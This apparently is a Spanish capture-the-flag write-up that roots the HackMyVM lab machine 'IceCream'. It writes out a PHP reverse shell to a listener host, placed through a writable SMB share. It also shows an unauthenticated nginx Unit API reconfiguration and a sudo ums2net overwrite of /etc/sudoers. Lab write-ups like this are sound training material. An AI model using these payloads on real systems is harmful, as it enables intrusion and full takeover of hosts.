cd ~/blog

~/writeups/hmv/116-icecream.md

116 - IceCream

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Arbitrary File Write into Web Root mediante un Writable SMB ShareUnauthenticated nginx Unit Control APIArbitrary File Write mediante sudo ums2net
hackmyvm.eu/machines/machine.php?vm=IceCream

~2 min de lectura


Enumeración de servicios

El objetivo expone SSH, HTTP, SMB y un servicio no identificado inicialmente en el puerto 9000. La respuesta de este último incluye Server: Unit/1.33.0, lo que permite reconocer la API de control de nginx Unit:

❯ nmap -sCV -p 22,80,139,445,9000 -oN 02-targeted.txt 192.168.1.22
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-27 23:35 -03
Nmap scan report for 192.168.1.22
Host is up (0.00039s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp   open  http        nginx 1.22.1
|_http-title: 403 Forbidden
139/tcp  open  netbios-ssn Samba smbd 4
445/tcp  open  netbios-ssn Samba smbd 4
9000/tcp open  cslistener?
...
|     Server: Unit/1.33.0
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El puerto 9000 no sirve una aplicación convencional, sino la interfaz que permite consultar y reemplazar la configuración de nginx Unit. Al estar accesible sin autenticación, más adelante podremos definir listeners y aplicaciones propias.

Arbitrary File Write mediante SMB

La enumeración de SMB revela el recurso icecream con permisos de lectura y escritura para una sesión sin credenciales válidas:

❯ sudo netexec smb 192.168.1.22 -u '' -p '' --shares
...
SMB         192.168.1.22    445    ICECREAM         icecream        READ,WRITE      tmp Folder
...

El recurso está asociado al directorio temporal publicado por nginx. Esto convierte el acceso en un Arbitrary File Write dentro del web root: subimos una carga PHP, la solicitamos por HTTP y recibimos una shell como www-data:

❯ cat pwned.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.11/1234 0>&1'");
?>

❯ smbclient //192.168.1.22/icecream -U nobody --password='nobody'
smb: \> put pwned.php

❯ curl http://192.168.1.22/pwned.php

❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.22:36670.
bash: cannot set terminal process group (508): Inappropriate ioctl for device
www-data@icecream:/tmp$

Reconfiguración de nginx Unit

pspy64 muestra que el proceso principal de Unit se inicia con -user ice. La shell actual pertenece a www-data, pero una aplicación creada por la API se ejecutará bajo la identidad configurada para Unit:

...
2024/10/28 16:07:20 CMD: UID=0 PID=382 | unit: main v1.33.0 [/usr/sbin/unitd - control 0.0.0.0:9000 - user ice]
...

Preparamos una segunda carga en /tmp y enviamos una configuración que crea un listener en 8080, una aplicación PHP con ese directorio como raíz y una ruta que conecta ambas piezas:

❯ cat config.json
{
    "listeners": { "*:8080": { "pass": "routes" } },
    "routes": [ { "match": { "uri": "*" }, "action": { "pass": "applications/myapp" } } ],
    "applications": {
        "myapp": {
            "type": "php",
            "root": "/tmp",
            "index": "pwned_ice.php",
            "script": "pwned_ice.php"
        }
    }
}
❯ curl -X PUT --data-binary @config.json http://192.168.1.22:9000/config
{
	"success": "Reconfiguration done."
}

❯ curl http://192.168.1.22:8080/pwned_ice.php

❯ ncat -nlvp 4321
Ncat: Connection from 192.168.1.22:33994.
ice@icecream:/tmp$

La API acepta el cambio y la petición al nuevo listener ejecuta pwned_ice.php como ice. Esta transición proporciona la primera flag y permite revisar las reglas de sudo:

ice@icecream:~$ sudo -l
...
User ice may run the following commands on icecream:
    (ALL) NOPASSWD: /usr/sbin/ums2net

Arbitrary File Write mediante sudo ums2net

La regla es un Sudo-Allowed Program Abuse. ums2net puede escuchar en un puerto y escribir los bytes recibidos en el archivo indicado por of=. Como se ejecuta mediante sudo, abre el destino como root; configuramos el puerto 8888 para reemplazar /etc/sudoers por una regla que concede control total a ice:

❯ cat sudoers
ice ALL=(ALL) NOPASSWD: ALL

ice@icecream:/tmp$ cat pwned.conf
8888 of=/etc/sudoers

ice@icecream:/tmp$ sudo /usr/sbin/ums2net -c pwned.conf -d

❯ nc 192.168.1.22 8888 < sudoers

ice@icecream:/tmp$ sudo bash
root@icecream:/tmp#

La nueva política permite ejecutar Bash mediante sudo. El prompt root@icecream confirma la escalada y permite recuperar la flag final.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados